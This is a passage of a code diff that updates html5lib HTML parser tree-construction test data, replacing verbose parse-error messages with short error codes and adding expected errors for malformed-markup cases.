| <!DOCTYPE html>
| <html>
@@ -86,8 +89,8 @@ Line: 1 Col: 40 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><font><p><b>test</font>
#errors
-Line: 1 Col: 38 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 38 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
+(1,38): adoption-agency-1.3
+(1,38): adoption-agency-1.3
#document
| <!DOCTYPE html>
| <html>
@@ -102,7 +105,7 @@ Line: 1 Col: 38 End tag (font) violates step 1, paragraph 3 of the adoption agen
#data
<!DOCTYPE html><dt><div><dd>
#errors
-Line: 1 Col: 28 Missing end tag (div, dt).
+(1,28): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -115,8 +118,8 @@ Line: 1 Col: 28 Missing end tag (div, dt).
#data
<script></x
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,11): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -127,9 +130,13 @@ Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
#data
<table><plaintext><td>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 18 Unexpected start tag (plaintext) in table context caused voodoo mode.
-Line: 1 Col: 22 Unexpected end of file. Expected table content.
+(1,7): expected-doctype-but-got-start-tag
+(1,18): unexpected-start-tag-implies-table-voodoo
+(1,22): foster-parenting-character-in-table
+(1,22): foster-parenting-character-in-table
+(1,22): foster-parenting-character-in-table
+(1,22): foster-parenting-character-in-table
+(1,22): eof-in-table
#document
| <html>
| <head>
@@ -141,8 +148,8 @@ Line: 1 Col: 22 Unexpected end of file. Expected table content.
#data
<plaintext></plaintext>
#errors
-Line: 1 Col: 11 Unexpected start tag (plaintext). Expected DOCTYPE.
-Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
+(1,11): expected-doctype-but-got-start-tag
+(1,23): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -153,8 +160,11 @@ Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><table><tr>TEST
#errors
-Line: 1 Col: 30 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 30 Unexpected end of file. Expected table content.
+(1,30): foster-parenting-character-in-table
+(1,30): foster-parenting-character-in-table
+(1,30): foster-parenting-character-in-table
+(1,30): foster-parenting-character-in-table
+(1,30): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -168,8 +178,8 @@ Line: 1 Col: 30 Unexpected end of file. Expected table content.
#data
<!DOCTYPE html><body t1=1><body t2=2><body t3=3 t4=4>
#errors
-Line: 1 Col: 37 Unexpected start tag (body).
-Line: 1 Col: 53 Unexpected start tag (body).
+(1,37): unexpected-start-tag
+(1,53): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -183,10 +193,8 @@ Line: 1 Col: 53 Unexpected start tag (body).
#data
</b test
#errors
-Line: 1 Col: 8 Unexpected end of file in attribute name.
-Line: 1 Col: 8 End tag contains unexpected attributes.
-Line: 1 Col: 8 Unexpected end tag (b). Expected DOCTYPE.
-Line: 1 Col: 8 Unexpected end tag (b) after the (implied) root element.
+(1,8): eof-in-attribute-name
+(1,8): expected-doctype-but-got-eof
#document
| <html>
| <head>
@@ -195,9 +203,10 @@ Line: 1 Col: 8 Unexpected end tag (b) after the (implied) root element.
#data
<!DOCTYPE html></b test<b &=&amp>X
#errors
-Line: 1 Col: 32 Named entity didn't end with ';'.
-Line: 1 Col: 33 End tag contains unexpected attributes.
-Line: 1 Col: 33 Unexpected end tag (b) after the (implied) root element.
+(1,24): invalid-character-in-attribute-name
+(1,32): named-entity-without-semicolon
+(1,33): attributes-in-end-tag
+(1,33): unexpected-end-tag-before-html
#document
| <!DOCTYPE html>
| <html>
@@ -208,8 +217,8 @@ Line: 1 Col: 33 Unexpected end tag (b) after the (implied) root element.
#data
<!doctypehtml><scrIPt type=text/x-foobar;baz>X</SCRipt
#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-Line: 1 Col: 54 Unexpected end of file in the tag name.
+(1,9): need-space-after-doctype
+(1,54): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -222,7 +231,7 @@ Line: 1 Col: 54 Unexpected end of file in the tag name.
#data
&
#errors
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
+(1,1): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -232,8 +241,8 @@ Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
#data
&#
#errors
-Line: 1 Col: 1 Numeric entity expected. Got end of file instead.
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
+(1,2): expected-numeric-entity
+(1,2): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -243,8 +252,8 @@ Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
#data
&#X
#errors
-Line: 1 Col: 3 Numeric entity expected but none found.
-Line: 1 Col: 3 Unexpected non-space characters. Expected DOCTYPE.
+(1,3): expected-numeric-entity
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -254,8 +263,8 @@ Line: 1 Col: 3 Unexpected non-space characters. Expected DOCTYPE.
#data
&#x
#errors
-Line: 1 Col: 3 Numeric entity expected but none found.
-Line: 1 Col: 3 Unexpected non-space characters. Expected DOCTYPE.
+(1,3): expected-numeric-entity
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -265,8 +274,8 @@ Line: 1 Col: 3 Unexpected non-space characters. Expected DOCTYPE.
#data
&#45
#errors
-Line: 1 Col: 4 Numeric entity didn't end with ';'.
-Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
+(1,4): numeric-entity-without-semicolon
+(1,4): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -276,8 +285,7 @@ Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
#data
&x-test
#errors
-Line: 1 Col: 1 Named entity expected. Got none.
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
+(1,2): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -287,7 +295,7 @@ Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
#data
<!doctypehtml><p><li>
#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
+(1,9): need-space-after-doctype
#document
| <!DOCTYPE html>
| <html>
@@ -299,7 +307,7 @@ Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
#data
<!doctypehtml><p><dt>
#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
+(1,9): need-space-after-doctype
#document
| <!DOCTYPE html>
| <html>
@@ -311,7 +319,7 @@ Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
#data
<!doctypehtml><p><dd>
#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
+(1,9): need-space-after-doctype
#document
| <!DOCTYPE html>
| <html>
@@ -323,8 +331,8 @@ Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
#data
<!doctypehtml><p><form>
#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
+(1,9): need-space-after-doctype
+(1,23): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -347,8 +355,8 @@ Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
#data
&AMP
#errors
-Line: 1 Col: 4 Named entity didn't end with ';'.
-Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
+(1,4): named-entity-without-semicolon
+(1,4): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -358,8 +366,8 @@ Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
#data
&AMp;
#errors
-Line: 1 Col: 1 Named entity expected. Got none.
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
+(1,3): expected-named-entity
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -369,7 +377,7 @@ Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
#data
<!DOCTYPE html><html><head></head><body><thisISasillyTESTelementNameToMakeSureCrazyTagNamesArePARSEDcorrectLY>
#errors
-Line: 1 Col: 110 Expected closing tag. Unexpected end of file.
+(1,110): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -380,7 +388,7 @@ Line: 1 Col: 110 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html>X</body>X
#errors
-Line: 1 Col: 24 Unexpected non-space characters in the after body phase.
+(1,24): unexpected-char-after-body
#document
| <!DOCTYPE html>
| <html>
@@ -391,7 +399,7 @@ Line: 1 Col: 24 Unexpected non-space characters in the after body phase.
#data
<!DOCTYPE html><!-- X
#errors
-Line: 1 Col: 21 Unexpected end of file in comment.
+(1,21): eof-in-comment
#document
| <!DOCTYPE html>
| <!-- X -->
@@ -402,8 +410,8 @@ Line: 1 Col: 21 Unexpected end of file in comment.
#data
<!DOCTYPE html><table><caption>test TEST</caption><td>test
#errors
-Line: 1 Col: 54 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 58 Expected closing tag. Unexpected end of file.
+(1,54): unexpected-cell-in-table-body
+(1,58): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -420,7 +428,7 @@ Line: 1 Col: 58 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><select><option><optgroup>
#errors
-Line: 1 Col: 41 Expected closing tag. Unexpected end of file.
+(1,41): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -433,8 +441,8 @@ Line: 1 Col: 41 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><select><optgroup><option></optgroup><option><select><option>
#errors
-Line: 1 Col: 68 Unexpected select start tag in the select phase treated as select end tag.
-Line: 1 Col: 76 Expected closing tag. Unexpected end of file.
+(1,68): unexpected-select-in-select
+(1,76): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -449,7 +457,7 @@ Line: 1 Col: 76 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><select><optgroup><option><optgroup>
#errors
-Line: 1 Col: 51 Expected closing tag. Unexpected end of file.
+(1,51): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -498,7 +506,7 @@ Line: 1 Col: 51 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><!-- XXX - XXX
#errors
-Line: 1 Col: 29 Unexpected end of file in comment (-)
+(1,29): eof-in-comment
#document
| <!DOCTYPE html>
| <!-- XXX - XXX -->
@@ -519,8 +527,8 @@ Line: 1 Col: 29 Unexpected end of file in comment (-)
#data
<isindex test=x name=x>
#errors
-Line: 1 Col: 23 Unexpected start tag (isindex). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected start tag isindex. Don't use it!
+(1,23): expected-doctype-but-got-start-tag
+(1,23): deprecated-tag
#document
| <html>
| <head>
@@ -538,7 +546,7 @@ Line: 1 Col: 23 Unexpected start tag isindex. Don't use it!
test
test
#errors
-Line: 2 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
+(2,4): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -591,7 +599,7 @@ x { content:"</style" } "
#errors
-Line: 2 Col: 1 Unexpected End of file. Expected DOCTYPE.
+(2,1): expected-doctype-but-got-eof
#document
| <html>
| <head>
@@ -626,7 +634,7 @@ Line: 2 Col: 1 Unexpected End of file. Expected DOCTYPE.
#data
<!DOCTYPE html><html><body><html id=x>
#errors
-Line: 1 Col: 38 html needs to be the first start tag.
+(1,38): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -637,8 +645,7 @@ Line: 1 Col: 38 html needs to be the first start tag.
#data
<!DOCTYPE html>X</body><html id="x">
#errors
-Line: 1 Col: 36 Unexpected start tag token (html) in the after body phase.
-Line: 1 Col: 36 html needs to be the first start tag.
+(1,36): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -650,7 +657,7 @@ Line: 1 Col: 36 html needs to be the first start tag.
#data
<!DOCTYPE html><head><html id=x>
#errors
-Line: 1 Col: 32 html needs to be the first start tag.
+(1,32): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -661,7 +668,7 @@ Line: 1 Col: 32 html needs to be the first start tag.
#data
<!DOCTYPE html>X</html>X
#errors
-Line: 1 Col: 24 Unexpected non-space characters in the after body phase.
+(1,24): expected-eof-but-got-char
#document
| <!DOCTYPE html>
| <html>
@@ -682,7 +689,7 @@ Line: 1 Col: 24 Unexpected non-space characters in the after body phase.
#data
<!DOCTYPE html>X</html><p>X
#errors
-Line: 1 Col: 26 Unexpected start tag (p).
+(1,26): expected-eof-but-got-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -695,9 +702,9 @@ Line: 1 Col: 26 Unexpected start tag (p).
#data
<!DOCTYPE html>X<p/x/y/z>
#errors
-Line: 1 Col: 19 Expected a > after the /.
-Line: 1 Col: 21 Solidus (/) incorrectly placed in tag.
-Line: 1 Col: 23 Solidus (/) incorrectly placed in tag.
+(1,19): unexpected-character-after-solidus-in-tag
+(1,21): unexpected-character-after-solidus-in-tag
+(1,23): unexpected-character-after-solidus-in-tag
#document
| <!DOCTYPE html>
| <html>
@@ -712,7 +719,7 @@ Line: 1 Col: 23 Solidus (/) incorrectly placed in tag.
#data
<!DOCTYPE html><!--x--
#errors
-Line: 1 Col: 22 Unexpected end of file in comment (--).
+(1,22): eof-in-comment-double-dash
#document
| <!DOCTYPE html>
| <!-- x -->
@@ -723,7 +730,7 @@ Line: 1 Col: 22 Unexpected end of file in comment (--).
#data
<!DOCTYPE html><table><tr><td></p></table>
#errors
-Line: 1 Col: 34 Unexpected end tag (p). Ignored.
+(1,34): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -738,9 +745,9 @@ Line: 1 Col: 34 Unexpected end tag (p). Ignored.
#data
<!DOCTYPE <!DOCTYPE HTML>><!--<!--x-->-->
#errors
-Line: 1 Col: 20 Expected space or '>'. Got ''
-Line: 1 Col: 25 Erroneous DOCTYPE.
-Line: 1 Col: 35 Unexpected character in comment found.
+(1,20): expected-space-or-right-bracket-in-doctype
+(1,25): unknown-doctype
+(1,35): unexpected-char-in-comment
#document
| <!DOCTYPE <!doctype>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests20.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests20.dat
index 6bd825608..52c5acdc6 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests20.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests20.dat
@@ -1,6 +1,8 @@
#data
<!doctype html><p><button><button>
#errors
+(1,34): unexpected-start-tag-implies-end-tag
+(1,34): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -13,6 +15,7 @@
#data
<!doctype html><p><button><address>
#errors
+(1,35): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -25,6 +28,7 @@
#data
<!doctype html><p><button><blockquote>
#errors
+(1,38): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -37,6 +41,7 @@
#data
<!doctype html><p><button><menu>
#errors
+(1,32): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -49,6 +54,7 @@
#data
<!doctype html><p><button><p>
#errors
+(1,29): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -61,6 +67,7 @@
#data
<!doctype html><p><button><ul>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -73,6 +80,7 @@
#data
<!doctype html><p><button><h1>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -85,6 +93,7 @@
#data
<!doctype html><p><button><h6>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -97,6 +106,7 @@
#data
<!doctype html><p><button><listing>
#errors
+(1,35): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -109,6 +119,7 @@
#data
<!doctype html><p><button><pre>
#errors
+(1,31): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -121,6 +132,7 @@
#data
<!doctype html><p><button><form>
#errors
+(1,32): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -133,6 +145,7 @@
#data
<!doctype html><p><button><li>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -145,6 +158,7 @@
#data
<!doctype html><p><button><dd>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -157,6 +171,7 @@
#data
<!doctype html><p><button><dt>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -169,6 +184,7 @@
#data
<!doctype html><p><button><plaintext>
#errors
+(1,37): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -181,6 +197,7 @@
#data
<!doctype html><p><button><table>
#errors
+(1,33): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -193,6 +210,7 @@
#data
<!doctype html><p><button><hr>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -205,6 +223,8 @@
#data
<!doctype html><p><button><xmp>
#errors
+(1,31): expected-named-closing-tag-but-got-eof
+(1,31): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -217,6 +237,8 @@
#data
<!doctype html><p><button></p>
#errors
+(1,30): unexpected-end-tag
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -229,6 +251,7 @@
#data
<!doctype html><address><button></address>a
#errors
+(1,42): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -241,6 +264,7 @@
#data
<!doctype html><address><button></address>a
#errors
+(1,42): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -253,6 +277,10 @@
#data
<p><table></p>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,14): unexpected-end-tag-implies-table-voodoo
+(1,14): unexpected-end-tag
+(1,14): eof-in-table
#document
| <html>
| <head>
@@ -264,6 +292,7 @@
#data
<!doctype html><svg>
#errors
+(1,20): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -274,6 +303,7 @@
#data
<!doctype html><p><figcaption>
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -285,6 +315,7 @@
#data
<!doctype html><p><summary>
#errors
+(1,27): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -296,6 +327,8 @@
#data
<!doctype html><form><table><form>
#errors
+(1,34): unexpected-form-in-table
+(1,34): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -307,6 +340,9 @@
#data
<!doctype html><table><form><form>
#errors
+(1,28): unexpected-form-in-table
+(1,34): unexpected-form-in-table
+(1,34): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -318,6 +354,8 @@
#data
<!doctype html><table><form></table><form>
#errors
+(1,28): unexpected-form-in-table
+(1,42): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -329,6 +367,7 @@
#data
<!doctype html><svg><foreignObject><p>
#errors
+(1,38): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -341,6 +380,7 @@
#data
<!doctype html><svg><title>abc
#errors
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -353,6 +393,8 @@
#data
<option><span><option>
#errors
+(1,8): expected-doctype-but-got-start-tag
+(1,22): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -364,6 +406,8 @@
#data
<option><option>
#errors
+(1,8): expected-doctype-but-got-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -374,6 +418,9 @@
#data
<math><annotation-xml><div>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,27): unexpected-html-element-in-foreign-content
+(1,27): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -385,6 +432,9 @@
#data
<math><annotation-xml encoding="application/svg+xml"><div>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,58): unexpected-html-element-in-foreign-content
+(1,58): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -397,6 +447,8 @@
#data
<math><annotation-xml encoding="application/xhtml+xml"><div>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,60): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -409,6 +461,8 @@
#data
<math><annotation-xml encoding="aPPlication/xhtmL+xMl"><div>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,60): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -421,6 +475,8 @@
#data
<math><annotation-xml encoding="text/html"><div>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,48): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -433,6 +489,8 @@
#data
<math><annotation-xml encoding="Text/htmL"><div>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,48): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -445,6 +503,9 @@
#data
<math><annotation-xml encoding=" text/html "><div>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,50): unexpected-html-element-in-foreign-content
+(1,50): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests21.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests21.dat
index 2074a1614..d384a5556 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests21.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests21.dat
@@ -1,6 +1,8 @@
#data
<svg><![CDATA[foo]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -11,6 +13,8 @@
#data
<math><![CDATA[foo]]>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -21,6 +25,9 @@
#data
<div><![CDATA[foo]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,7): expected-dashes-or-doctype
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -31,6 +38,8 @@
#data
<svg><![CDATA[foo
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -41,6 +50,8 @@
#data
<svg><![CDATA[foo
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -51,6 +62,8 @@
#data
<svg><![CDATA[
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,14): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -60,6 +73,8 @@
#data
<svg><![CDATA[]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -69,6 +84,8 @@
#data
<svg><![CDATA[]] >]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -79,6 +96,8 @@
#data
<svg><![CDATA[]] >]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -89,6 +108,8 @@
#data
<svg><![CDATA[]]
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -99,6 +120,8 @@
#data
<svg><![CDATA[]
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,15): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -109,6 +132,8 @@
#data
<svg><![CDATA[]>a
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -119,7 +144,7 @@
#data
<!DOCTYPE html><svg><![CDATA[foo]]]>
#errors
-36: End of file in a foreign namespace context.
+(1,36): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -131,7 +156,7 @@
#data
<!DOCTYPE html><svg><![CDATA[foo]]]]>
#errors
-36: End of file in a foreign namespace context.
+(1,37): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -143,7 +168,7 @@
#data
<!DOCTYPE html><svg><![CDATA[foo]]]]]>
#errors
-36: End of file in a foreign namespace context.
+(1,38): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -155,6 +180,9 @@
#data
<svg><foreignObject><div><![CDATA[foo]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,27): expected-dashes-or-doctype
+(1,40): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -167,6 +195,8 @@
#data
<svg><![CDATA[<svg>]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,22): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -177,6 +207,8 @@
#data
<svg><![CDATA[</svg>a]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,24): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -187,6 +219,8 @@
#data
<svg><![CDATA[<svg>a
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -197,6 +231,8 @@
#data
<svg><![CDATA[</svg>a
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -207,6 +243,8 @@
#data
<svg><![CDATA[<svg>]]><path>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,28): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -218,6 +256,10 @@
#data
<svg><![CDATA[<svg>]]></path>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,29): unexpected-end-tag
+(1,29): unexpected-end-tag
+(1,29): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -228,6 +270,8 @@
#data
<svg><![CDATA[<svg>]]><!--path-->
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,33): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -239,6 +283,8 @@
#data
<svg><![CDATA[<svg>]]>path
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,26): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -249,6 +295,8 @@
#data
<svg><![CDATA[<!--svg-->]]>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,27): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests22.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests22.dat
index aab27b2e9..31e6d9e33 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests22.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests22.dat
@@ -1,6 +1,9 @@
#data
<a><b><big><em><strong><div>X</a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,33): adoption-agency-1.3
+(1,33): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -20,6 +23,16 @@
#data
<a><b><div id=1><div id=2><div id=3><div id=4><div id=5><div id=6><div id=7><div id=8>A</a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,91): adoption-agency-1.3
+(1,91): adoption-agency-1.3
+(1,91): adoption-agency-1.3
+(1,91): adoption-agency-1.3
+(1,91): adoption-agency-1.3
+(1,91): adoption-agency-1.3
+(1,91): adoption-agency-1.3
+(1,91): adoption-agency-1.3
+(1,91): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -56,6 +69,16 @@
#data
<a><b><div id=1><div id=2><div id=3><div id=4><div id=5><div id=6><div id=7><div id=8><div id=9>A</a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,101): adoption-agency-1.3
+(1,101): adoption-agency-1.3
+(1,101): adoption-agency-1.3
+(1,101): adoption-agency-1.3
+(1,101): adoption-agency-1.3
+(1,101): adoption-agency-1.3
+(1,101): adoption-agency-1.3
+(1,101): adoption-agency-1.3
+(1,101): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -94,6 +117,16 @@
#data
<a><b><div id=1><div id=2><div id=3><div id=4><div id=5><div id=6><div id=7><div id=8><div id=9><div id=10>A</a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,112): adoption-agency-1.3
+(1,112): adoption-agency-1.3
+(1,112): adoption-agency-1.3
+(1,112): adoption-agency-1.3
+(1,112): adoption-agency-1.3
+(1,112): adoption-agency-1.3
+(1,112): adoption-agency-1.3
+(1,112): adoption-agency-1.3
+(1,112): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -134,9 +167,9 @@
#data
<cite><b><cite><i><cite><i><cite><i><div>X</b>TEST
#errors
-Line: 1 Col: 6 Unexpected start tag (cite). Expected DOCTYPE.
-Line: 1 Col: 46 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 50 Expected closing tag. Unexpected end of file.
